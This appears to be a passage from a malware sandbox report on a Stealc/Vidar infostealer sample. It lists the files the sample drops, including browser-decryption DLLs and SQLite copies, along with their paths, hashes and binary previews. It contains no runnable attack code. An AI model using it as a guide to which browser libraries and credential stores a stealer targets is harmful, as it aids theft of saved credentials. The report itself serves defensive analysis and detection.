	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDGIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKJKEBGDHDAFHJKEGIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFBAKKJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2677105321142197
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMbSA1LyKOMq+8iP5GDHP/0jMVumv:Kq+n0Jb91LyKOMq+8iP5GLP/0+
MD5:	AD901A8DD5865813F4376E570725DED1
SHA1:	9C66BB0FBC67FE86F34D4494178D38809F4B3158
SHA-256:	BC415C0E7D98026E04785C370931100C36D345857E0CF9BCAF4144C3A26207BA
SHA-512:	244F3531033303064568C7199BD4CDF57560669D2BD0BCD1AEC234DDE14BB30D2054F87F3465C75DB10558341B5AD6B73DBC6DEFD26BA876BD382046849CD1E2
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEGHJDGIJECGDHJJECGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CQlUZ4KuAa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CQlUZ4KuAa.exe, Detection: malicious, Browse Filename: yt5xqAvHnZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: t4GNf3V8mp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\300d27cc-3230-40a4-9753-84781c0a3cb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46589
Entropy (8bit):	6.086256762970812
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQcrQgA9iEQi1zNtLkwNZ9BhCFehy1DhuCioaJDSgzMMd6qD47u30B:/Mk1rT8Hg9F014FoatSmd6qE7P
MD5:	D9F00607990A65E3C1550852D8E4B0B8
SHA1:	4B064CFEC1F140CF9A2C22C7AFD4CE37762A2E59
SHA-256:	F7254CD03C22FF43116394B27AAB23D955ACEB775B0DF74BA88C43FC9CEEAF73
SHA-512:	C473C611C552FE358A6A9988471C400030DBFD965BB9329B7C779DBF59970966610991DC15215256D6BB7F620D7A543ED787ACE51401F3B773C6C014E635F13F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374551250031234","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"4c2bfce6-ad99-47b7-80ff-20d1f0d5c3a1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730077654"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3326e279-6ae1-4c41-8c03-7f38b7989b77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\42c73d10-0f09-42f3-b383-9de4aebde72f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46465
Entropy (8bit):	6.086575045485066
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQcrQgxKiTQi1zNtLkww9Z9BhCFehy1DhuCioaJDSgzMMd6qD47u30B:/Mk1rT8HRKJv014FoatSmd6qE7P
MD5:	651FE7E98FC47FC4A1E6F948959095B0
SHA1:	4C8CF4ECC210F469F307B8C162EB08353F8103C9
SHA-256:	6ECFE488E863CFC507F40C8A9A8DB51D1CC8BBE60E8D4F579238E330BAC76FDB
SHA-512:	17B98133C557E218A81D5975286C54E9E4629E7A05BE93568A60D310E8E1E60F9525CCA038231E65A33FCA9F5E142E9EC23A2C5E7E3AB2734DBF534342AE9617
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374551250031234","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"4c2bfce6-ad99-47b7-80ff-20d1f0d5c3a1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730077654"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4cd4fb65-8772-400a-8aaa-a82a36fa9b14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095521932679963
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYNi1zNtLkwwNhLgZ/0LKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9tKtSmd6qE7lFoC
MD5:	4822BD4E668DC634D9AE2FFFFCA91183
SHA1:	E147EA9C169C6D9BDB6312CC2E40D7D14C025863
SHA-256:	73F962C16AEBFEA1A9A87C349F72BDB277CCB783442D431086B34686A34CA9F3
SHA-512:	8C4C1B5356D7A1A80EE1E0C6DBA8FDB5AB3A28E0F74AC73EA5B361AB34BEA68350D968145D6AA7F0499BE916E4E6864BDCCD76EF6D728EDEE939FDBDD7796C7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\61926b4a-3af2-4ec7-92eb-d8c2bc051819.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44988
Entropy (8bit):	6.095324910331608
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWGNi1zNtLkww9Z9BhCFeKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOnvKtSmd6qE7lFoC
MD5:	462F4387C75B4B190A878D919AE10FCE
SHA1:	B99840C0C34E9C4E1B555EF6192BCB18ED1FF733
SHA-256:	D8AA08E4C89478D7E99FEE25BA9CCF3DBCD74A19B8C33488EF276ABD729EFE4A
SHA-512:	BBAECB5CBAD04EA99389CA7F27D2FF92B606E4BFB41C62D51627F2C507675A3210978C871D37F7BB6237387976E656F66C485919A8DE46DC9BCFE2F2AE8BD75F
Malicious:	false
